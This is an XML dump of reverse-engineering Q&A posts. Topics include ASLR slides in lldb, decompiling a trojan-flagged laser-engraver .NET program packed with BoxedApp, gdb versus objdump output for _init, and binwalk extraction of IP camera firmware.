  <row Id="11783" PostTypeId="2" ParentId="11779" CreationDate="2016-01-17T14:20:26.090" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;These sub_xxx functions are not protected, just stripped, which means that your executable is compiled without debug information. &lt;/li&gt;&#xA;&lt;li&gt;It looks like that access to these strings is centralized and done with some of the functions you did not find yet.&lt;/li&gt;&#xA;&lt;li&gt;Yes, you can represent these similarly organized definitions as structures or array of structures. This will probably make your RE work easier.&lt;/li&gt;&#xA;&lt;li&gt;The last array you referencing should be referenced from somewhere too. Try to find where it is referenced from, and may be this will give you some information about structure of the data. I suggest that there is a function, which returns address of one of these structures or its parts by id and this function references the last array you mentioned or its parts.  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-01-17T14:20:26.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11784" PostTypeId="2" ParentId="9445" CreationDate="2016-01-17T20:37:13.803" Score="3" Body="&lt;p&gt;The reason is due to address space layout randomization (ASLR). The dynamic loader will employ some randomization in the starting address (the slide) which you must account for. When you start the application in &lt;code&gt;lldb&lt;/code&gt;, no slide is applied so the addresses are the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of it in action from two different Calculator apps running&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;0x00000200 container        [0x00000001040c6000-0x00000001040db000)  0x00000000 0x00015000 0x00000000 Calculator.__TEXT&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x00000200 container        [0x0000000105e21000-0x0000000105e36000)  0x00000000 0x00015000 0x00000000 Calculator.__TEXT&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The default starting address for the TEXT segment is 0x0100000000 so the first one is applying a slide of 0x40c6000 and the second has a slide of 0x5e21000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I wanted to set a breakpoint on &lt;code&gt;-[LCDController showValue]&lt;/code&gt;. For my particular version of Calculator, this has an address of &lt;code&gt;0x0100001610&lt;/code&gt;. If I start Calculator in &lt;code&gt;lldb&lt;/code&gt;, I can simply put a breakpoint on that address but if I attach to one already loaded I must account for the slide. In the first example, I would need to put a breakpoint on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0100001610 + 0x40c6000 = 0x1040c7610&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the second that would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0100001610 + 0x5e21000 = 0x105e22610.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14715" LastEditorUserId="12021" LastEditDate="2016-02-16T23:25:50.563" LastActivityDate="2016-02-16T23:25:50.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11785" PostTypeId="1" AcceptedAnswerId="11787" CreationDate="2016-01-18T02:34:29.363" Score="6" ViewCount="921" Body="&lt;p&gt;I would like to reverse-engineer the software that came with my Chinese-made laser engraver. Unfortunately the hardware does not play at all with other software out there... The original software is horribly buggy, is loaded with malware (specifically the Strictor Trojan), and the vendor is refusing to give support for the program. I would like to get the original code of this program so that I may remove the Trojan, debug the software, and just make the damn thing work. I paid over $400 for the thing and frankly I am quite pissed off at the fact that the software is complete SHIT. (pretty sure it hasn't been updated since win2k...) It acts as if it were written by some highschool kid as a senior project or something... severely limited and severely bugged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So looking at the error files this program keeps pumping out, i WAS 100% sure that the main program was made in .net (not sure if VB, VC, VC++, etc). it's stating errors with &quot;windows.form.button...&quot;, ontop of that, they required .net framework to be installed in order to use it. Which made me think possibly VB? However after trying VBDecompilerLite, it stated that the program was compiled using an unknown compiler... so i'm at a loss here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to extract the code from the exe using DeDe, ResourceHacker, Universal Extractor, 7Zip extraction, etc - all of which produce a 0b file &quot;[0~]&quot; which is unreadable, or an error saying could not extract files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has a clue of what I could try next, please let me know. I cannot upload the file for people to test because - as I stated above - it contains malware. I am decompiling the program on a PC that is off the usual network, so no internet / network access there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Virus Scan Results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Scanner         |   Malware Variant             |   AV updated&#xA;---------------------------------------------------------------&#xA;ALYac               Gen:Variant.Strictor.99340      20160115&#xA;Ad-Aware            Gen:Variant.Strictor.99340      20160115&#xA;Arcabit             Trojan.Strictor.D1840C          20160115&#xA;Avast               Win32:Malware-gen               20160115&#xA;BitDefender         Gen:Variant.Strictor.99340      20160115&#xA;Emsisoft            Gen:Variant.Strictor.99340 (B)  20160115&#xA;F-Secure            Gen:Variant.Strictor.99340      20160115&#xA;GData               Gen:Variant.Strictor.99340      20160115&#xA;MicroWorld-eScan    Gen:Variant.Strictor.99340      20160115&#xA;Qihoo-360           QVM19.1.Malware.Gen             20160115&#xA;Rising              PE:Malware.RDM.18!5.18 [F]      20160114 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the original error that the program gave me (if it helps):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; See the end of this message for details on invoking  just-in-time&#xA;&amp;gt; (JIT) debugging instead of this dialog box.&#xA;&amp;gt; &#xA;&amp;gt; ************** Exception Text ************** System.ArgumentException: Parameter is not valid.    at System.Drawing.Bitmap.LockBits(Rectangle&#xA;&amp;gt; rect, ImageLockMode flags, PixelFormat format, BitmapData bitmapData) &#xA;&amp;gt; at System.Drawing.Bitmap.LockBits(Rectangle rect, ImageLockMode flags,&#xA;&amp;gt; PixelFormat format)    at xj2.Form1.Gray2(Bitmap srcBitmap, Boolean&#xA;&amp;gt; reverse)    at xj2.Form1.button3_Click(Object sender, EventArgs e)   &#xA;&amp;gt; at System.Windows.Forms.Control.OnClick(EventArgs e)    at&#xA;&amp;gt; System.Windows.Forms.Button.OnClick(EventArgs e)    at&#xA;&amp;gt; System.Windows.Forms.Button.OnMouseUp(MouseEventArgs mevent)    at&#xA;&amp;gt; System.Windows.Forms.Control.WmMouseUp(Message&amp;amp; m, MouseButtons&#xA;&amp;gt; button, Int32 clicks)    at&#xA;&amp;gt; System.Windows.Forms.Control.WndProc(Message&amp;amp; m)    at&#xA;&amp;gt; System.Windows.Forms.ButtonBase.WndProc(Message&amp;amp; m)    at&#xA;&amp;gt; System.Windows.Forms.Button.WndProc(Message&amp;amp; m)    at&#xA;&amp;gt; System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message&amp;amp; m)&#xA;&amp;gt; at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message&amp;amp;&#xA;&amp;gt; m)    at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32&#xA;&amp;gt; msg, IntPtr wparam, IntPtr lparam)&#xA;&amp;gt; &#xA;&amp;gt; &#xA;&amp;gt; ************** Loaded Assemblies ************** mscorlib&#xA;&amp;gt;     Assembly Version: 2.0.0.0&#xA;&amp;gt;     Win32 Version: 2.0.50727.3643 (GDR.050727-3600)&#xA;&amp;gt;     CodeBase: file:///C:/windows/Microsoft.NET/Framework/v2.0.50727/mscorlib.dll&#xA;&amp;gt; ---------------------------------------- BoxedAppSDK_AppDomainManager&#xA;&amp;gt;     Assembly Version: 1.0.0.0&#xA;&amp;gt;     Win32 Version: 1.0.0.0&#xA;&amp;gt;     CodeBase: file:///C:/windows/assembly/GAC/BoxedAppSDK_AppDomainManager/1.0.0.0__ef07ce3257ee81c1/BoxedAppSDK_AppDomainManager.dll&#xA;&amp;gt; ---------------------------------------- xj2&#xA;&amp;gt;     Assembly Version: 1.0.0.0&#xA;&amp;gt;     Win32 Version: 1.0.0.0&#xA;&amp;gt;     CodeBase: file:///C:/Documents%20and%20Settings/Owner/デスクトップ/1.exe&#xA;&amp;gt; ---------------------------------------- System.Windows.Forms&#xA;&amp;gt;     Assembly Version: 2.0.0.0&#xA;&amp;gt;     Win32 Version: 2.0.50727.3645 (GDR.050727-3600)&#xA;&amp;gt;     CodeBase: file:///C:/windows/assembly/GAC_MSIL/System.Windows.Forms/2.0.0.0__b77a5c561934e089/System.Windows.Forms.dll&#xA;&amp;gt; ---------------------------------------- System&#xA;&amp;gt;     Assembly Version: 2.0.0.0&#xA;&amp;gt;     Win32 Version: 2.0.50727.3644 (GDR.050727-3600)&#xA;&amp;gt;     CodeBase: file:///C:/windows/assembly/GAC_MSIL/System/2.0.0.0__b77a5c561934e089/System.dll&#xA;&amp;gt; ---------------------------------------- System.Drawing&#xA;&amp;gt;     Assembly Version: 2.0.0.0&#xA;&amp;gt;     Win32 Version: 2.0.50727.3644 (GDR.050727-3600)&#xA;&amp;gt;     CodeBase: file:///C:/windows/assembly/GAC_MSIL/System.Drawing/2.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll&#xA;&amp;gt; ---------------------------------------- Accessibility&#xA;&amp;gt;     Assembly Version: 2.0.0.0&#xA;&amp;gt;     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)&#xA;&amp;gt;     CodeBase: file:///C:/windows/assembly/GAC_MSIL/Accessibility/2.0.0.0__b03f5f7f11d50a3a/Accessibility.dll&#xA;&amp;gt; ---------------------------------------- xj2.resources&#xA;&amp;gt;     Assembly Version: 1.0.0.0&#xA;&amp;gt;     Win32 Version: 1.0.0.0&#xA;&amp;gt;     CodeBase: file:///C:/Documents%20and%20Settings/Owner/デスクトップ/en/xj2.resources.DLL&#xA;&amp;gt; ---------------------------------------- System.Configuration&#xA;&amp;gt;     Assembly Version: 2.0.0.0&#xA;&amp;gt;     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)&#xA;&amp;gt;     CodeBase: file:///C:/windows/assembly/GAC_MSIL/System.Configuration/2.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll&#xA;&amp;gt; ---------------------------------------- System.Xml&#xA;&amp;gt;     Assembly Version: 2.0.0.0&#xA;&amp;gt;     Win32 Version: 2.0.50727.3082 (QFE.050727-3000)&#xA;&amp;gt;     CodeBase: file:///C:/windows/assembly/GAC_MSIL/System.Xml/2.0.0.0__b77a5c561934e089/System.Xml.dll&#xA;&amp;gt; ----------------------------------------&#xA;&amp;gt; &#xA;&amp;gt; ************** JIT Debugging ************** To enable just-in-time (JIT) debugging, the .config file for this application or computer&#xA;&amp;gt; (machine.config) must have the jitDebugging value set in the&#xA;&amp;gt; system.windows.forms section. The application must also be compiled&#xA;&amp;gt; with debugging enabled.&#xA;&amp;gt; &#xA;&amp;gt; For example:&#xA;&amp;gt; &#xA;&amp;gt; &amp;lt;configuration&amp;gt;&#xA;&amp;gt;     &amp;lt;system.windows.forms jitDebugging=&quot;true&quot; /&amp;gt; &amp;lt;/configuration&amp;gt;&#xA;&amp;gt; &#xA;&amp;gt; When JIT debugging is enabled, any unhandled exception will be sent to&#xA;&amp;gt; the JIT debugger registered on the computer rather than be handled by&#xA;&amp;gt; this dialog box.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14733" LastEditorUserId="2959" LastEditDate="2016-01-21T07:36:29.340" LastActivityDate="2016-01-21T07:36:29.340" Title="Reverse Engineering Chinese laser engraver" Tags="|malware|executable|.net|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11786" PostTypeId="2" ParentId="11621" CreationDate="2016-01-18T14:20:16.183" Score="1" Body="&lt;p&gt;&lt;strong&gt;I'd read this (and probably it is a mistake) as&lt;/strong&gt; treating binary content of the variable as a variable of another type, something like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;coerce float is &lt;code&gt;*((float*)&amp;amp;var)&lt;/code&gt;, where var was of the same size as float, supposedly 4 bytes. &lt;/li&gt;&#xA;&lt;li&gt;coerce unsigned int is &lt;code&gt;*((unsigned int*)&amp;amp;var)&lt;/code&gt;, where var was of the same size as unsigned int.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As far as I remember 32 bit platforms treating unsigned int and float as a values of 4 bytes length.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-01-18T14:20:16.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11787" PostTypeId="2" ParentId="11785" CreationDate="2016-01-18T14:34:33.433" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://www.vb-decompiler.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;VB Decompiler&lt;/a&gt; is for decompiling native programs and P-code programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as @ebux said, your target appears to be written in .NET, so you'd need to use something like &lt;a href=&quot;http://ilspy.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ILSpy&lt;/a&gt; or &lt;a href=&quot;https://www.red-gate.com/products/dotnet-development/reflector/&quot; rel=&quot;nofollow noreferrer&quot;&gt;.NET Reflector&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, given that your target is packed with &lt;a href=&quot;http://www.boxedapp.com/boxedapppacker/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;BoxedApp&lt;/a&gt;, you'll first need to unpack it. &lt;a href=&quot;https://www.google.com/webhp?q=unpack%20boxedapp&quot; rel=&quot;nofollow noreferrer&quot;&gt;A quick Google search&lt;/a&gt; shows that it's rather easy to unpack the packed files -- all you need is a hex editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've extracted the files from the BoxedApp EXEs, you can then decompile them with ILSpy or .NET Reflector:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JJRJs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JJRJs.png&quot; alt=&quot;ILSpy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2016-01-20T15:16:25.247" LastActivityDate="2016-01-20T15:16:25.247" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11788" PostTypeId="1" CreationDate="2016-01-18T16:13:58.493" Score="2" ViewCount="132" Body="&lt;p&gt;I am trying to reverse engineer a game, for modding purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The game is a behemoth, by using a GCC RTTI + Debug Symbol analysis script, I found out it has 1674 unique classes, some of them inherit from 4+ direct bases, and 10+ indirect bases, sometimes in diamond-shape style (example: the program has a custom implementation of Microsoft's IUnknown class, often classes with multiple inheritance have IUnknown multiple times in the hierarchy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am finding very hard to document what I am seeing to become able to more easily follow vtable calls inside the program, specially because the build I actually want to reverse engineer is NOT the one that had the symbols, thus I need to manually port over information anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried UML, but it has a severe shortcoming: it wasn't designed to represent the origin of member methods of a class, you can't use UML to know that class A, inherited function B, from class C that is 6 levels above in the hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem I found out, is no clear way on how to organize my structures and vtables, the existing disassembler software even when they support structures of some kind, handle nested structures poorly (ie: if you have a 10 byte structure inside a 20 byte structure, it displays the 20 byte structure as 10 bytes of its own, plus 10 opaque bytes that you need to go manually to the other structure to check what they do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I found no way to easily take notes of structure members when manually rebuilding them, the best I could come with is use a google spreadsheet with each cell being a byte (thus when I want to represent a 4byte type, I merge 4 cells... but this is clunky).&lt;/p&gt;&#xA;" OwnerUserId="14358" LastActivityDate="2016-01-19T03:23:19.780" Title="How I document a extremely large OOP project?" Tags="|documentation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11789" PostTypeId="1" CreationDate="2016-01-18T19:41:35.457" Score="4" ViewCount="1287" Body="&lt;p&gt;I have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int main()&#xA;{&#xA;printf(&quot;a=%d; b=%d; c=%d&quot;, 1, 2, 3);&#xA;return 0;&#xA;};&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compile it with &lt;code&gt;gcc -g 3arg.cpp&lt;/code&gt;. Disassemble with &lt;code&gt;objdump -d -M intel a.out&lt;/code&gt;. In the output there is exactly one function named &lt;code&gt;_init&lt;/code&gt; and it is disassembled like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000004003e0 &amp;lt;_init&gt;:&#xA;  4003e0:       48 83 ec 08             sub    rsp,0x8&#xA;  4003e4:       48 8b 05 0d 0c 20 00    mov    rax,QWORD PTR [rip+0x200c0d]        # 600ff8 &amp;lt;_DYNAMIC+0x1d0&gt;&#xA;  4003eb:       48 85 c0                test   rax,rax&#xA;  4003ee:       74 05                   je     4003f5 &amp;lt;_init+0x15&gt;&#xA;  4003f0:       e8 3b 00 00 00          call   400430 &amp;lt;__gmon_start__@plt&gt;&#xA;  4003f5:       48 83 c4 08             add    rsp,0x8&#xA;  4003f9:       c3                      ret&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is &lt;code&gt;gdb&lt;/code&gt; output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb -q a.out&#xA;Reading symbols from a.out...done.&#xA;(gdb) disassemble _init&#xA;Dump of assembler code for function _init:&#xA;   0x00000000004003e0 &amp;lt;+0&gt;:  sub    $0x8,%rsp&#xA;   0x00000000004003e4 &amp;lt;+4&gt;:  mov    0x200c0d(%rip),%rax        # 0x600ff8&#xA;   0x00000000004003eb &amp;lt;+11&gt;: test   %rax,%rax&#xA;   0x00000000004003ee &amp;lt;+14&gt;: je     0x4003f5 &amp;lt;_init+21&gt;&#xA;   0x00000000004003f0 &amp;lt;+16&gt;: callq  0x400430 &amp;lt;__gmon_start__@plt&gt;&#xA;   0x00000000004003f5 &amp;lt;+21&gt;: add    $0x8,%rsp&#xA;   0x00000000004003f9 &amp;lt;+25&gt;: retq   &#xA;End of assembler dump.&#xA;(gdb) break _init&#xA;Breakpoint 1 at 0x4003e0&#xA;(gdb) run&#xA;Starting program: [redacted]/a.out &#xA;&#xA;Breakpoint 1, _init (argc=1, argv=0x7fffffffdf68, envp=0x7fffffffdf78) at ../csu/init-first.c:52&#xA;52  ../csu/init-first.c: No such file or directory.&#xA;(gdb) disassemble _init&#xA;Dump of assembler code for function _init:&#xA;=&gt; 0x00007ffff7a36c20 &amp;lt;+0&gt;:  push   %r13&#xA;   0x00007ffff7a36c22 &amp;lt;+2&gt;:  push   %r12&#xA;   0x00007ffff7a36c24 &amp;lt;+4&gt;:  mov    %edi,%r12d&#xA;   0x00007ffff7a36c27 &amp;lt;+7&gt;:  push   %rbp&#xA;   0x00007ffff7a36c28 &amp;lt;+8&gt;:  mov    %rsi,%rbp&#xA;   0x00007ffff7a36c2b &amp;lt;+11&gt;: push   %rbx&#xA;[etc.]&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is the last disassembly different? It's not even the same data disassembled in a different way (As seen when comparing the &lt;code&gt;objdump&lt;/code&gt; output with output of &lt;code&gt;gdb&lt;/code&gt; command &lt;code&gt;x/10b $rip&lt;/code&gt; when the breakpoint has been hit). If it's a different &lt;code&gt;_init&lt;/code&gt; function: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;how can I put a breakpoint at the one that's seen in the &lt;code&gt;objdump&lt;/code&gt; output and the first disassembly in &lt;code&gt;gdb&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;why did &lt;code&gt;gdb&lt;/code&gt; say Breakpoint 1 was at &lt;code&gt;0x4003e0&lt;/code&gt; and then stopped at a different function?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14742" LastEditorUserId="2318" LastEditDate="2017-01-23T10:34:43.560" LastActivityDate="2017-01-23T10:34:43.560" Title="Different disassembly for the same function?" Tags="|disassembly|gdb|objdump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11791" PostTypeId="1" AcceptedAnswerId="11797" CreationDate="2016-01-19T00:24:06.677" Score="7" ViewCount="4336" Body="&lt;p&gt;I'm trying to use Binwalk to extract an IpCam bin firmware. I did it successfully for the WebUI, but I can't on the firmware itself.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hardware : Vstarcam C7824WIP&lt;/li&gt;&#xA;&lt;li&gt;Firmware : &lt;a href=&quot;http://cd.gocam.so/FM/system/CH-sys-48.53.64.67.zip&quot; rel=&quot;noreferrer&quot;&gt;CH-sys-48.53.64.67.zip&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;WebUI : &lt;a href=&quot;http://cd.gocam.so/FM/vstarcam/CH-app-EN53.8.1.13_VSTARCAM.zip&quot; rel=&quot;noreferrer&quot;&gt;CH-app-EN53.8.1.13_VSTARCAM.zip&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Problem : It's only extracting &quot;sysversion.txt, a bit light :).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Files :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ron@vpsXXXXXX:~/firmware$ ls&#xA;CH-sys-48.53.64.67.zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Verification and extraction :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ron@vpsXXXXXX:~/firmware$ binwalk CH-sys-48.53.64.67.zip&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 605571, uncompressed size: 612699, name: CH-sys-48.53.64.67.bin&#xA;605717        0x93E15         End of Zip archive&#xA;&#xA;ron@vpsXXXXXX:~/firmware$ file CH-sys-48.53.64.67.zip&#xA;CH-sys-48.53.64.67.zip: Zip archive data, at least v2.0 to extract&#xA;ron@vpsXXXXXX:~/firmware$ unzip CH-sys-48.53.64.67.zip&#xA;Archive:  CH-sys-48.53.64.67.zip&#xA;  inflating: CH-sys-48.53.64.67.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Binwalk without extracting :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ron@vpsXXXXXX:~/firmware$ binwalk CH-sys-48.53.64.67.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;172           0xAC            Zip archive data, at least v2.0 to extract, compressed size: 8969, uncompressed size: 19091, name: system/system/lib/libsns_gc1004.so&#xA;9337          0x2479          End of Zip archive&#xA;9499          0x251B          Zip archive data, at least v2.0 to extract, compressed size: 7813, uncompressed size: 16341, name: system/system/lib/libsns_ov9712_plus.so&#xA;17518         0x446E          End of Zip archive&#xA;17680         0x4510          Zip archive data, at least v2.0 to extract, compressed size: 90121, uncompressed size: 353248, name: system/system/lib/libOnvif.so&#xA;107987        0x1A5D3         End of Zip archive&#xA;108149        0x1A675         Zip archive data, at least v2.0 to extract, compressed size: 43603, uncompressed size: 84480, name: system/system/lib/libvoice_arm.so&#xA;151946        0x2518A         End of Zip archive&#xA;152108        0x2522C         Zip archive data, at least v2.0 to extract, compressed size: 130, uncompressed size: 227, name: system/init/ipcam.sh&#xA;152406        0x25356         End of Zip archive&#xA;152568        0x253F8         Zip archive data, at least v2.0 to extract, compressed size: 402383, uncompressed size: 886168, name: system/system/bin/encoder&#xA;555129        0x87879         End of Zip archive&#xA;555291        0x8791B         Zip archive data, at least v2.0 to extract, compressed size: 35394, uncompressed size: 74200, name: system/system/bin/wifidaemon&#xA;590869        0x90415         End of Zip archive&#xA;591031        0x904B7         Zip archive data, at least v2.0 to extract, compressed size: 1852, uncompressed size: 9692, name: system/system/bin/grade.sh&#xA;593063        0x90CA7         End of Zip archive&#xA;593225        0x90D49         Zip archive data, at least v2.0 to extract, compressed size: 8704, uncompressed size: 20212, name: system/system/bin/updata&#xA;602105        0x92FF9         End of Zip archive&#xA;602267        0x9309B         Zip archive data, at least v2.0 to extract, compressed size: 1874, uncompressed size: 4522, name: system/system/bin/gpio_aplink.ko&#xA;604333        0x938AD         End of Zip archive&#xA;604495        0x9394F         Zip archive data, at least v2.0 to extract, compressed size: 7241, uncompressed size: 16802, name: system/system/bin/motogpio.ko&#xA;611922        0x95652         End of Zip archive&#xA;612084        0x956F4         Zip archive data, at least v1.0 to extract, compressed size: 8, uncompressed size: 8, name: system/system/bin/fwversion.bin&#xA;612282        0x957BA         End of Zip archive&#xA;612444        0x9585C         Zip archive data, at least v1.0 to extract, compressed size: 9, uncompressed size: 9, name: system/system/bin/sysversion.txt&#xA;612645        0x95925         End of Zip archive&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Binwalk extraction : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ron@vpsXXXXXX:~/firmware$ binwalk -Mer CH-sys-48.53.64.67.bin&#xA;&#xA;Scan Time:     2016-01-19 00:36:12&#xA;Target File:   /home/ron/firmware/CH-sys-48.53.64.67.bin&#xA;MD5 Checksum:  58df9214226cfe46760215bfca0c496c&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;172           0xAC            Zip archive data, at least v2.0 to extract, compressed size: 8969, uncompressed size: 19091, name: system/system/lib/libsns_gc1004.so&#xA;9337          0x2479          End of Zip archive&#xA;9499          0x251B          Zip archive data, at least v2.0 to extract, compressed size: 7813, uncompressed size: 16341, name: system/system/lib/libsns_ov9712_plus.so&#xA;17518         0x446E          End of Zip archive&#xA;17680         0x4510          Zip archive data, at least v2.0 to extract, compressed size: 90121, uncompressed size: 353248, name: system/system/lib/libOnvif.so&#xA;107987        0x1A5D3         End of Zip archive&#xA;108149        0x1A675         Zip archive data, at least v2.0 to extract, compressed size: 43603, uncompressed size: 84480, name: system/system/lib/libvoice_arm.so&#xA;151946        0x2518A         End of Zip archive&#xA;152108        0x2522C         Zip archive data, at least v2.0 to extract, compressed size: 130, uncompressed size: 227, name: system/init/ipcam.sh&#xA;152406        0x25356         End of Zip archive&#xA;152568        0x253F8         Zip archive data, at least v2.0 to extract, compressed size: 402383, uncompressed size: 886168, name: system/system/bin/encoder&#xA;555129        0x87879         End of Zip archive&#xA;555291        0x8791B         Zip archive data, at least v2.0 to extract, compressed size: 35394, uncompressed size: 74200, name: system/system/bin/wifidaemon&#xA;590869        0x90415         End of Zip archive&#xA;591031        0x904B7         Zip archive data, at least v2.0 to extract, compressed size: 1852, uncompressed size: 9692, name: system/system/bin/grade.sh&#xA;593063        0x90CA7         End of Zip archive&#xA;593225        0x90D49         Zip archive data, at least v2.0 to extract, compressed size: 8704, uncompressed size: 20212, name: system/system/bin/updata&#xA;602105        0x92FF9         End of Zip archive&#xA;602267        0x9309B         Zip archive data, at least v2.0 to extract, compressed size: 1874, uncompressed size: 4522, name: system/system/bin/gpio_aplink.ko&#xA;604333        0x938AD         End of Zip archive&#xA;604495        0x9394F         Zip archive data, at least v2.0 to extract, compressed size: 7241, uncompressed size: 16802, name: system/system/bin/motogpio.ko&#xA;611922        0x95652         End of Zip archive&#xA;612084        0x956F4         Zip archive data, at least v1.0 to extract, compressed size: 8, uncompressed size: 8, name: system/system/bin/fwversion.bin&#xA;612282        0x957BA         End of Zip archive&#xA;612444        0x9585C         Zip archive data, at least v1.0 to extract, compressed size: 9, uncompressed size: 9, name: system/system/bin/sysversion.txt&#xA;612645        0x95925         End of Zip archive&#xA;&#xA;&#xA;Scan Time:     2016-01-19 00:36:12&#xA;Target File:   /home/ron/firmware/_CH-sys-48.53.64.67.bin.extracted/system/system/bin/sysversion.txt&#xA;MD5 Checksum:  3e98d83fbced8eb62c79542f5df5a14f&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only one target file extracted...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick look to headers :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ron@vpsXXXXXX:~/firmware$ head -n1 CH-sys-48.53.64.67.bin | hexdump -C&#xA;00000000  77 77 77 2e 6f 62 6a 65  63 74 2d 63 61 6d 65 72  |www.object-camer|&#xA;00000010  61 2e 63 6f 6d 2e 62 79  2e 68 6f 6e 67 7a 78 2e  |a.com.by.hongzx.|&#xA;00000020  73 79 73 74 65 6d 2f 73  79 73 74 65 6d 2f 6c 69  |system/system/li|&#xA;00000030  62 2f 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |b/..............|&#xA;00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000060  6c 69 62 73 6e 73 5f 67  63 31 30 30 34 2e 73 6f  |libsns_gc1004.so|&#xA;00000070  2e 7a 69 70 00 00 00 00  00 00 00 00 00 00 00 00  